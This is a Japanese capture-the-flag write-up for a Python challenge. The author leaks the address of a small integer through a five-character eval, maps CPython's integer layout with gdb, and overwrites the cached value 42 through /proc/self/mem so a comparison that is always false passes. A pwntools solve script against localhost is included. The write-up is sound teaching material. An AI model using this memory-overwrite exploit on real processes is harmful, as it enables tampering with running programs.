TL;DR

Prerequisite

(※解くのに必要な事項はそれなりにありますが、それなりに解説するので無視して良いです)

  • Pythonのid()関数
  • Pythonの数値のメモリ的な格納方法
  • /proc/<pid>/memを通じた値の読み書き

Writeup

次のようなスクリプトが動いている。

#!/usr/bin/env python3
import os

assert os.path.isfile("flag")

if __name__ == "__main__":
    open("writeme", "w").write("The Answer to the Ultimate Question of Life, the Universe, and Everything is 42.")
    print(eval(input("Chance: ")[:5])) # 42=99 :)
    path = input("File: ")
    if not os.path.exists(path):
        exit("File not found")
    if not os.path.isfile(path):
        exit("Not a file")
    if "flag" in path:
        exit("Path not allowed")
    try:
        fd = open(path, "r+")
        fd.seek(int(input("Seek: ")))
        fd.write("Hack")
        fd.flush()
        fd.seek(0)
    except:
        exit("Error")

    if 42 >= 99:
        print(open("flag").readline()) # Congrats!
    else:
        print(fd.readline())

だいたい次のような動作をする

  1. 5文字までの文字列を引数としてeval()
  2. ファイル名指定して開く、但し実在するファイルかつファイル名にflagが含まれていない必要がある
  3. 開いたファイルに対してインデックスを指定し、そこから"Hack"という4文字を書き込む
  4. $42 \geq 99$という(常に偽になるはずの)不等式が成立するかを確かめ、成立するならフラグを開示し、そうでないなら開いたファイル中身を開示する

4のif文が明らかに偽になるため、普通にやっていればフラグは開示されない。また、フラグのファイルを指定することも叶わないためelse側の処理でフラグを開示することも難しそうである。

そもそも使える武器が少ない。こちら側から入力出来るのは「5文字分のeval」と「ファイル名」と「インデックス」しか無い。普通に考えたら無理である。

ひとまずどうするかはさておき、evalを上手く使う方法を考える。5文字分しか実行出来ないことから、4文字以上の関数は括弧で2文字追加されるのでそもそも実行出来ず、3文字は無引数、2文字で1文字の引数を1つだけ指定出来る。

Pythonの組み込み関数を探していると2文字でid()という関数があり、これは引数に指定されたオブジェクトのIDを返すという関数である。実はこの関数、即値に対しても使用可能であり、更にその値を代入した変数と同じIDを指す。

>>> x = 1
>>> id(1)
9788992
>>> id(x)
9788992
>>> 

また、ドキュメントには次のようなことも書かれていた。

CPython implementation detail: This is the address of the object in memory.

ということでこの値はどこかのアドレスを指していることが期待出来る。次のような検証を行った。

>>> l = [1,2,3]
>>> for x in l:
...     print(hex(id(x)))
... 
0x955e40
0x955e60
0x955e80
>>> import os
>>> os.getpid()
5773
>>> # gdb attaching...
>>> 
pwndbg> x/64gx 0x955e40
0x955e40:       0x000000000000009c      0x000000000090b400
0x955e50:       0x0000000000000001      0x0000000000000001
0x955e60:       0x000000000000007d      0x000000000090b400
0x955e70:       0x0000000000000001      0x0000000000000002
0x955e80:       0x0000000000000031      0x000000000090b400
0x955e90:       0x0000000000000001      0x0000000000000003
0x955ea0:       0x000000000000003e      0x000000000090b400
0x955eb0:       0x0000000000000001      0x0000000000000004
0x955ec0:       0x0000000000000020      0x000000000090b400
0x955ed0:       0x0000000000000001      0x0000000000000005
0x955ee0:       0x0000000000000018      0x000000000090b400
0x955ef0:       0x0000000000000001      0x0000000000000006
0x955f00:       0x0000000000000010      0x000000000090b400
0x955f10:       0x0000000000000001      0x0000000000000007
0x955f20:       0x0000000000000024      0x000000000090b400
0x955f30:       0x0000000000000001      0x0000000000000008
0x955f40:       0x000000000000000c      0x000000000090b400
0x955f50:       0x0000000000000001      0x0000000000000009
0x955f60:       0x000000000000000b      0x000000000090b400
0x955f70:       0x0000000000000001      0x000000000000000a
0x955f80:       0x000000000000000d      0x000000000090b400
0x955f90:       0x0000000000000001      0x000000000000000b
0x955fa0:       0x0000000000000008      0x000000000090b400
0x955fb0:       0x0000000000000001      0x000000000000000c
0x955fc0:       0x0000000000000006      0x000000000090b400
0x955fd0:       0x0000000000000001      0x000000000000000d
0x955fe0:       0x0000000000000008      0x000000000090b400
0x955ff0:       0x0000000000000001      0x000000000000000e
0x956000:       0x0000000000000009      0x000000000090b400
0x956010:       0x0000000000000001      0x000000000000000f
0x956020:       0x0000000000000016      0x000000000090b400
0x956030:       0x0000000000000001      0x0000000000000010
pwndbg> 

Pythonインタプリタ上で1から3までの数値のIDを入手し、gdbでその場所を覗いた結果がこちらである。

1のIDが指すアドレスは0x9cとなっており特に面白い変数では無いが、0x955e580x1が、同様にして0x955e780x2が存在し、そのあと数字が増えるごとにこの法則で値が続いている。

このことから、一次文献を当たっていないGuessにはなるが、Pythonの数値は(64bitまでなら?)32バイトで管理され、最後の8バイトに実際の値が格納されていると考えられる。ということはここを書き換えたら1を別の数値として扱うことが出来る予感がする。実際に0x955e58に42を入れてみた。

pwndbg> set {int}0x955e58=42
pwndbg> x/16gx 0x955e40
0x955e40:       0x000000000000009c      0x000000000090b400
0x955e50:       0x0000000000000001      0x000000000000002a
0x955e60:       0x000000000000007d      0x000000000090b400
0x955e70:       0x0000000000000001      0x0000000000000002
0x955e80:       0x0000000000000031      0x000000000090b400
0x955e90:       0x0000000000000001      0x0000000000000003
0x955ea0:       0x000000000000003e      0x000000000090b400
0x955eb0:       0x0000000000000001      0x0000000000000004
pwndbg> 

Pythonインタプリタに戻ってlを表示してみると次のように1だった部分が42になっている。

>>> l
[42, 2, 3]

というわけで即値であってもそこを管理しているメモリを書き換えれば別の数値として扱うことが出来そうである。

問題はここをどう書き換えるかだが、Linuxでは/proc/<pid>/memを通してメモリの読み書きが出来るらしい(但し、catのような他プロセスからはアクセス出来ないらしい)。書き換えを行うのはこのスクリプトのfd.write("Hack")なのでPIDの指定はselfで良い。というわけで書き込みを行うファイルには/proc/self/memを指定する。

最後に、どこを書き換えるかだが、4299の値を書き換えるのが自然である。ただ、書き換えも任意の値を指定することが出来ず、"Hack"に限られる。これは32bitぐらいの数値として扱うことが出来るので42の値を書き換えて大きい数となるようにすれば42 >= 99を真に出来そうである。

後はここのアドレス値を特定するだけであり、これは先程の検証より32バイトごとに数値が格納してある事を考えると、id(9)のように一桁の値を指定してその数値のアドレスを得て、整数値でどの程度離れているかを計算した分をオフセットとして足してあげれば良い。具体的にはid(n) + (42 - n) * 32 + 24が、42の値が入っているアドレスになる。

Code

from pwn import remote


sc = remote("localhost", 27182)
sc.recvuntil(b"Chance: ")
sc.sendline(b"id(9)")
addr = int(sc.recvline())

print(f"[+] 9 at {addr:x}")
offset = 42 - 9
fourty_two_addr = addr + 32 * offset
fourty_two_value = fourty_two_addr + 24
print(f"[+] 42 at {fourty_two_addr:x}")
print(f"[+] write to {fourty_two_value:x}")

sc.recvuntil(b"File: ")
sc.sendline(b"/proc/self/mem")
sc.recvuntil(b"Seek: ")
sc.sendline(str(fourty_two_value).encode())

sc.interactive()

Flag

ローカルで解いただけ

Resources